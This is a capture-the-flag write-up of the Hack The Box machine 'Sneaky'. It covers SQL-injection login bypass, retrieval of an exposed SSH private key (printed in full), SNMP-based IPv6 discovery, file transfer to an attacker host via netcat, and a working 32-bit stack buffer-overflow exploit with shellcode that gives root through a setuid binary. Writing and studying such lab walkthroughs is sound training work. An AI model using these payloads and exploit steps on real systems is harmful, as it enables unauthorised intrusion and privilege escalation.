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# Sneaky Writeup

![](img/7.png)

## Introduction :

Sneaky is a medium linux box released back in May 2017.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy]
      → nmap -F 10.10.10.20
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 13:59 GMT
      Nmap scan report for 10.10.10.20
      Host is up (0.10s latency).
      Not shown: 99 closed ports
      PORT   STATE SERVICE
      80/tcp open  http
    
      Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy]
      → nmap -sCV -p80 10.10.10.20
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 14:00 GMT
      Nmap scan report for 10.10.10.20
      Host is up (0.094s latency).
    
      PORT   STATE SERVICE VERSION
      80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
      |_http-server-header: Apache/2.4.7 (Ubuntu)
      |_http-title: Under Development!
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 9.78 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap picked up port 80 running Apache :
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy]
    → dirsearch -u http://10.10.10.20/ -e php,html,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    git clone https://github.com/maurosoria/dirsearch.git
    
     _|. _ _  _  _  _ _|_    v0.3.9
    (_||| _) (/_(_|| (_| )
    
    Extensions: php, html, txt | HTTP method: get | Threads: 10 | Wordlist size: 220521
    
    Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-22_14-13-22.log
    
    Target: http://10.10.10.20/
    
    [14:13:22] Starting:
    [14:13:23] 200 -  183B  - /
    [14:13:32] 301 -  307B  - /dev  ->  http://10.10.10.20/dev/
    

` ![](prg/7_001.png)
    
    
      ' or 1=1 #
    

` ![](prg/7_002.png)

trying out this sql injection on the admin user, we get access to /dev/login.php with 2 usernames : admin and thrasivoulos

checking out the "My Key" hyperlink we get access to a private SSH key : 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → curl -sk http://10.10.10.20/dev/sshkeyforadministratordifficulttimes
      -----BEGIN RSA PRIVATE KEY-----
      MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
      Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr
      3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
      yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
      cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
      oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa
      Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
      h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
      CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
      OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
      I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
      JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz
      5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
      ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym
      +jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
      7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
      GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
      aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
      VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
      hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
      1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
      LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG
      UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/
      Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
      rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
      -----END RSA PRIVATE KEY-----
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → curl -sk http://10.10.10.20/dev/sshkeyforadministratordifficulttimes > pkey && chmod 600 pkey
    

Once we saved it, we try to log in as either of the 2 users via ssh. Sadly this key is for another user. so let's enumerate the box further :
    
    
      λ root [ 10.10.14.20/23 ] [nihilist/_HTB/Sneaky]
    → nmap -sU -F --max-retries 0 10.10.10.20
    Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 07:59 GMT
    Warning: 10.10.10.20 giving up on port because retransmission cap hit (0).
    Nmap scan report for 10.10.10.20
    Host is up (0.099s latency).
    Not shown: 92 open|filtered ports
    PORT      STATE  SERVICE
    161/udp   open   snmp
    427/udp   closed svrloc
    999/udp   closed applix
    1022/udp  closed exp2
    1027/udp  closed unknown
    1433/udp  closed ms-sql-s
    49191/udp closed unknown
    49200/udp closed unknown
    
    Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds
    

Looks like we have a snmp port opened ! Now after running the command **snmpwalk -v2c -c public 10.10.10.20** we get an interesting result in the ipv6 format : 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
    → snmpwalk -v2c -c public 10.10.10.20 1.3.6.1.2.1.4.34.1.3
    iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.20 = INTEGER: 2
    iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2
    iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1
    iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
    iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.185.156.200 = INTEGER: 2
    iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.185.156.200 = INTEGER: 2
    

The ipv6 we need is right here : **222.173.190.239.0.0.0.0.2.80.86.255.254.185.156.200** , but it is in decimal format, we need to turn it into HEX format. The easy way would be with the snmp-mibs-downloader automatic conversion. 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → sudo apt install snmp-mibs-downloader
    
      λ root [ 10.10.14.20/23 ] [nihilist/_HTB/Sneaky]
    → nano /etc/snmp/snmp.conf
    

now that we commented the line we wanted in the config, we can snmp walk again but this time getting the actual ipv6 in HEX format we want. 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → snmpwalk -v2c -c public 10.10.10.20 > snmp-v6
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
    → nano snmp-v6
    

Looking at the results, we see that we have the ipv6 we need : 

![](prg/7_003.png)
    
    
    de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:9c:c8
    

Now to enumerate ipv6 , we can just use [trickster0's ipv6 enumeration tool](https://github.com/trickster0/Enyx) : 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → git clone https://github.com/trickster0/Enyx
      Cloning into 'Enyx'...
      remote: Enumerating objects: 73, done.
      remote: Total 73 (delta 0), reused 0 (delta 0), pack-reused 73
      Unpacking objects: 100% (73/73), 1.36 MiB | 1.53 MiB/s, done.
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → cd Enyx
    

But let's not forget that we need to disable mibs for it to work : 
    
    
      λ root [ 10.10.14.20/23 ] [_HTB/Sneaky/Enyx] at  master ✔
      → nano /etc/snmp/snmp.conf                                                                                                    [8267b66]
    
      λ root [ 10.10.14.20/23 ] [_HTB/Sneaky/Enyx] at  master ✔
      → exit                                                                                                                        [8267b66]
    
      λ nihilist [ 10.10.14.20/23 ] [_HTB/Sneaky/Enyx] at  master ✔
      → python enyx.py 2c public 10.10.10.20                                                                                        [8267b66]
      ###################################################################################
      #                                                                                 #
      #                      #######     ##      #  #    #  #    #                      #
      #                      #          #  #    #    #  #    #  #                       #
      #                      ######    #   #   #      ##      ##                        #
      #                      #        #    # #        ##     #  #                       #
      #                      ######  #     ##         ##    #    #                      #
      #                                                                                 #
      #                           SNMP IPv6 Enumerator Tool                             #
      #                                                                                 #
      #                   Author: Thanasis Tserpelis aka Trickster0                     #
      #                                                                                 #
      ###################################################################################
    
    
      [+] Snmpwalk found.
      [+] Grabbing IPv6.
      [+] Loopback -> 0000:0000:0000:0000:0000:0000:0000:0001
      [+] Unique-Local -> dead:beef:0000:0000:0250:56ff:feb9:9cc8
      [+] Link Local -> fe80:0000:0000:0000:0250:56ff:feb9:9cc8
    

so now that we have the private sshkey, and the ipv6 format, let's try to login via ssh. 
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → ssh -i pkey thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:9cc8
      The authenticity of host 'dead:beef::250:56ff:feb9:9cc8 (dead:beef::250:56ff:feb9:9cc8)' can't be established.
      ECDSA key fingerprint is SHA256:KCwXgk+ryPhJU+UhxyHAO16VCRFrty3aLPWPSkq/E2o.
      Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
      Warning: Permanently added 'dead:beef::250:56ff:feb9:9cc8' (ECDSA) to the list of known hosts.
      Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-75-generic i686)
    
       * Documentation:  https://help.ubuntu.com/
    
        System information as of Sat Feb 22 16:00:36 EET 2020
    
        System load: 0.0               Memory usage: 4%   Processes:       176
        Usage of /:  9.9% of 18.58GB   Swap usage:   0%   Users logged in: 0
    
        Graph this data and manage this system at:
          https://landscape.canonical.com/
    
      Your Hardware Enablement Stack (HWE) is supported until April 2019.
      Last login: Sun May 14 20:22:53 2017 from dead:beef:1::1077
      thrasivoulos@Sneaky:~$ cat /home/thrasivoulos/user.txt
      9fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to login as the user thrasivoulos and print out his user.txt file. 

## **Part 3 : Getting Root Access**

To privesc we print out the files that have the 4000 permissions , piping the errors to /dev/null :
    
    
      thrasivoulos@Sneaky:~$ find / -perm -4000 2>/dev/null
      /bin/umount
      /bin/su
      /bin/mount
      /bin/ping6
      /bin/fusermount
      /bin/ping
      /usr/local/bin/chal
      /usr/sbin/uuidd
      /usr/sbin/pppd
      /usr/bin/at
      /usr/bin/pkexec
      /usr/bin/traceroute6.iputils
      /usr/bin/chsh
      /usr/bin/gpasswd
      /usr/bin/passwd
      /usr/bin/mtr
      /usr/bin/newgrp
      /usr/bin/sudo
      /usr/bin/chfn
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      /usr/lib/policykit-1/polkit-agent-helper-1
      /usr/lib/eject/dmcrypt-get-device
    
      thrasivoulos@Sneaky:~$ file /usr/local/bin/chal
    /usr/local/bin/chal: setuid, setgid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=fc8ad06fcfafe1fbc2dbaa1a65222d685b047b11, not stripped
    

In there, we get /usr/local/bin/chal whih is an ELF 32bit LSB executable, which contains a buffer overflow vulnerability. let's copy it locally :

_Terminal 1:_
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → nc -lvnp 9003 > chal.b64
      listening on [any] 9003 ...
    
    

` _Terminal 2:_
    
    
    thrasivoulos@Sneaky:~$ base64 /usr/local/bin/chal | nc 10.10.14.20 9003
    
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → nc -lvnp 9003 > chal.b64
      listening on [any] 9003 ...
      connect to [10.10.14.20] from (UNKNOWN) [10.10.10.20] 60520
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
    → cat chal.b64 | base64 -d > chal
    
    λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
    → file chal
    chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fc8ad06fcfafe1fbc2dbaa1a65222d685b047b11, not stripped
    
    λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
    → checksec chal
    [*] '/home/nihilist/_HTB/Sneaky/chal'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x8048000)
        RWX:      Has RWX segments
    

So we successfully copied it locally using netcat, and running checksec on it we see that NX is disabled, which makes exploiting this binary very easy although we note that it is a 32bit binary, so we need to execute it either in a VM or on the sneaky machine. So let's do the latter : 
    
    
      thrasivoulos@Sneaky:~$ which gdb
      /usr/bin/gdb
    

and we even have gdb on the box so that will make the task even easier : 
    
    
      thrasivoulos@Sneaky:~$ /usr/local/bin/chal
      Segmentation fault (core dumped)
      thrasivoulos@Sneaky:~$ /usr/local/bin/chal AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
      thrasivoulos@Sneaky:~$ /usr/local/bin/chal  
      Segmentation fault (core dumped)
    
    

If we send nothing, seg fault, if we send too many characters, seg fault aswell, so we need to know where exactly it begins seg faulting. so we need a pattern : 
    
    
     
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → locate pattern_create
      /usr/bin/msf-pattern_create
      /usr/share/metasploit-framework/tools/exploit/pattern_create.rb
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
      Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
    
    
    
      thrasivoulos@Sneaky:~$ gdb /usr/local/bin/chal
    
      (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /usr/local/bin/chal Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
    
    Program received signal SIGSEGV, Segmentation fault.
    0x316d4130
    

running the binary, within gdb, using our pattern we get a segfault at this address, which is a string somewhere in the arguement we just pasted in. Now let's see if we can find the offset :
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x316d4130
      [*] Exact match at offset 362
    

And we get a matching offset at 362, so that is our buffer space basically. From there, we can create an exploit to effectively privesc with the following [shellcode](https://www.exploit-db.com/shellcodes/46809) :
    
    
      λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky]
      → nano nihilist.py
    
    
    
      buf_size=362
      shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
      nop_sled="\x90"*(buf_size-len(shellcode))
      EIP=?
    
      payload= nop_sled + shellcode + EIP
    

Now looking at our python exploit, we are missing the EIP, to find that we can simply do the following : 
    
    
      (gdb) r $(python -c 'print "A"*400')
      The program being debugged has been started already.
      Start it from the beginning? (y or n) y
      Starting program: /usr/local/bin/chal $(python -c 'print "A"*400')
    
      Program received signal SIGSEGV, Segmentation fault.
      0x41414141 in ?? ()
      (gdb) x/100x $esp
    0xbffff540:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff550:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff560:	0x08004141	0xb7fce000	0x00000000	0x00000000
    0xbffff570:	0x00000000	0x4db2a18f	0x752d459f	0x00000000
    0xbffff580:	0x00000000	0x00000000	0x00000002	0x08048320
    0xbffff590:	0x00000000	0xb7ff24c0	0xb7e3ba09	0xb7fff000
    0xbffff5a0:	0x00000002	0x08048320	0x00000000	0x08048341
    0xbffff5b0:	0x0804841d	0x00000002	0xbffff5d4	0x08048450
    0xbffff5c0:	0x080484c0	0xb7fed160	0xbffff5cc	0x0000001c
    0xbffff5d0:	0x00000002	0xbffff6fe	0xbffff712	0x00000000
    0xbffff5e0:	0xbffff8a3	0xbffff8b4	0xbffff8c4	0xbffff8d8
    0xbffff5f0:	0xbffff8fe	0xbffff911	0xbffff923	0xbffffe44
    0xbffff600:	0xbffffe50	0xbffffeae	0xbffffeca	0xbffffed9
    0xbffff610:	0xbffffef0	0xbfffff01	0xbfffff0a	0xbfffff22
    0xbffff620:	0xbfffff2a	0xbfffff3f	0xbfffff87	0xbfffffa7
    0xbffff630:	0xbfffffc6	0x00000000	0x00000020	0xb7fdccf0
    0xbffff640:	0x00000021	0xb7fdc000	0x00000010	0x078bfbff
    0xbffff650:	0x00000006	0x00001000	0x00000011	0x00000064
    
    (gdb) x/100x $esp-400
    0xbffff3b0:	0xbffff3d2	0x00000000	0x00000000	0x08048441
    0xbffff3c0:	0xbffff3d2	0xbffff712	0x0804821d	0xb7fffc24
    0xbffff3d0:	0x414118fc	0x41414141	0x41414141	0x41414141
    0xbffff3e0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff3f0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff400:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff410:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff420:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff430:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff440:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff450:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff460:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff470:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff480:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff490:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff4a0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff4b0:	0x41414141	0x41414141	0x41414141	0x41414141
    0xbffff4c0:	0x41414141	0x41414141	0x41414141	0x41414141
    

So here we can see our eip is most probably at 0xbffff4c0 so we convert it to little endian accordingly : 
    
    
      uf_size=362
      shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
      nop_sled="\x90"*(buf_size-len(shellcode))
      EIP="\xc0\xf4\xff\xbf" # 0xbffff4c0
    
      payload= nop_sled + shellcode + EIP
      print payload
    

Now heading back onto the machine, we try our exploit and see the output in gdb : 
    
    
      thrasivoulos@Sneaky:~$ vi exploit.py
      thrasivoulos@Sneaky:~$ /usr/local/bin/chal $(python exploit.py)
      Segmentation fault (core dumped)
    
      thrasivoulos@Sneaky:~$ gdb /usr/local/bin/chal
    
      (gdb) r $(python exploit.py)
      Starting program: /usr/local/bin/chal $(python exploit.py)
    
      Program received signal SIGSEGV, Segmentation fault.
      0xbffff56c in ?? ()
      (gdb) x/100x $esp-500
    
    

Looking at where the nops are (0x90909090) we get a certain memory address : 0xbffff750 so we modify our EIP accordingly :
    
    
    buf_size=362
    shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    nop_sled="\x90"*(buf_size-len(shellcode))
    EIP="\x50\xf7\xff\xbf" # 0xbffff750
    
    payload= nop_sled + shellcode + EIP
    print payload
    
    
    
      thrasivoulos@Sneaky:~$ rm exploit.py
      thrasivoulos@Sneaky:~$ vi exploit.py
      thrasivoulos@Sneaky:~$ /usr/local/bin/chal $(python exploit.py)
      # id
      uid=1000(thrasivoulos) gid=1000(thrasivoulos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(thrasivoulos)
      # cat /root/root.txt
      c5XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to privesc and print out the root flag. 

## **Conclusion**

Here we can see the progress graph :

![](img/7_graph.png)

